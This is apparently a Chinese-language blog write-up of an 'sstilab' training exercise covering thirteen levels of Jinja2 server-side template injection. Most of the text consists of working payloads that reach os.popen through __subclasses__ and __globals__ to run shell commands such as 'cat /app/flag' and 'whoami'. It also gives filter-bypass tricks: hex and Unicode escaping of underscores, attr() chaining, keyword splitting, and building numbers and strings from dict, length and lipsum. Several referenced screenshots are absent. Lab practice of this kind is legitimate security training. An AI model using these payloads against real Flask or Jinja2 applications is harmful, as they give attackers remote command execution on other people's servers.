首页 > 其他分享 >sstilab

sstilab

时间:2024-02-21 14:14:36浏览次数:21  
标签:__ .__ attr read sstilab __.__ dict

sstilab

level 1

无过滤

{{' '.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat /app/flag').read()}}

level 2

过滤{} 用{%%}代替 print标记

{%print ' '.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat /app/flag').read()%}

level 3?

盲注 无过滤 无回显

得到__builtins__利用eval来执行命令
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
#或者是其他可以得到__builtins__的关键字。

获取1:

{%set%20f=dict(f=a)|join%}{{(lipsum|string|list).index(f)}}

获取下划线:

{{(lipsum|string|list).pop(18)}}

获取chr

lipsum.__globals__['__builtins__'].chr

level 4

过滤了[ ],这里有两种情况下的过滤

  • 使用pop__getitem__()代替索引中的[]
  • 使用__getattribute__代替魔术方法中的[]
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(133).__init__.__globals__.__getitem__('popen')('cat /app/flag').read()}}

level 5

过滤了单双引号

get提交

image-20240220224752463

post提交

image-20240220225442130

cookie绕过

image-20240220225810269

level 6

绕过下划线_,使用十六进制编码绕过,_编码后为\x5f

先进行替换

string1 = "{{().__class__.__base__.__subclasses__()[213].__init__.__globals__['os'].popen('cat flag').read()}}"
def tohex(string):
    result = ""
    
    for i in range(len(string)):
        if string[i] == '_':
            result += "\\x"+hex(ord(string[i]))[2:]
            continue
        result += string[i]
    print(result)

tohex(string1)

再添加[""],得到

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[213]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['os'].popen('cat /app/flag').read()}}
Unicode编码
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat /app/flag")|attr("read")()}}
或|attr(request方法)

image-20240220231726582

level 7

过滤了 . 使用过滤器进行连接

{{config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /app/flag")|attr("read")()}}

level 8

["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]
过滤关键字 拼接式绕过

image-20240220235820566

image-20240221000046338

image-20240221000214383

image-20240221000254924

{%for i in ""["__cla""ss__"]["__mr""o__"][1]["__subcla""sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in""it__"]["__glo""bals__"]["po""pen"]('cat /app/flag')["re""ad"]()%}{%endif%}{%endfor%}

level 9

过滤了数字0-9,可以利用for循环来找到os._wrap_close,这样就不必使用数字。利用base寻找基类可以免去使用数字。
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat /app/flag').read()%}{%endif%}{%endfor%}

image-20240221000902151

level 10

waf:set config = None

不使用config就可以

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat /app/flag').read()%}{%endif%}{%endfor%}

level 11

[''', '"', '+', 'request', '.', '[', ']']

拼接

image-20240221001842356

image-20240221001705748

1image-20240221002049273

image-20240221002748117

最终为了构造的payload为

lipsum.**globals**.get('os').popen('cat /app/flag').read()

基本的payload

{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /app/flag")|attr("read")()}}

思路:利用set来定义变量,使用attr()来提取使用变量绕过点,中括号。但是这样存在一个问题是需要获取下划线,所以使用下面payload来获取下划线。

首先查看_在第几个

{{(lipsum|string|list)}}

得到,这里是下标18为下划线

Hello ['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '7', '4', '1', '9', '6', '1', 'c', '6', '7', '0', '>']
{{(lipsum|string|list)|attr(pop)(18)}}
{{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}

这里问题来了,attr()里面要求的是字符串,直接输pop需要用引号''包围起来,但是这里又过滤了引号,所以要先构造一个pop字符串:

{% set pop=dict(pop=a)|join %}
{% xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}

再构造其他的类 最后整合

{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

level 12

waf:bl['_', '.', '0-9', '', ''', '"', '[', ']']

image-20240221004236648

比上一关多过滤了数字,可以使用index获取数字,payload基本不变

 {{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}

{%set one=dict(aaaaaaaaaaaaa=a)|join|length*dict(aaaaaaaaaa=b)|join|length+dict(aaa=c)|join|length%}{%set t=dict(aaaaaa=a)|join|length*dict(aaa=b)|join|length%}{%set pop=dict(pop=a)|join %}{%set x=(lipsum|string|list)|attr(pop)(t)%}{%set a=(x,x,dict(cla=a,ss=b)|join,x,x)|join%}{%set b=(x,x,dict(ba=a,se=b)|join,x,x)|join%}{%set c=(x,x,dict(subcla=a,sses=b)|join,x,x)|join%}{%set d=(x,x,dict(in=a,it=b)|join,x,x)|join%}{%set e=(x,x,dict(glo=a,bals=b)|join,x,x)|join%}{%set f=dict(po=a,pen=b)|join%}{%set g=dict(who=a,ami=b)|join%}{%set h=(x,x,dict(get=a,item=b)|join,x,x)|join%}{%set j=dict(re=a,ad=b)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(h)(one)|attr(d)|attr(e)|attr(h)(f)(g)|attr(j)()}}

level 13

waf:bl['_', '.', '', ''', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']
比上一关多过滤了几个关键字

{{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}

标签:__,.__,attr,read,sstilab,__.__,dict
From: https://www.cnblogs.com/ningweiyu/p/18025066

相关文章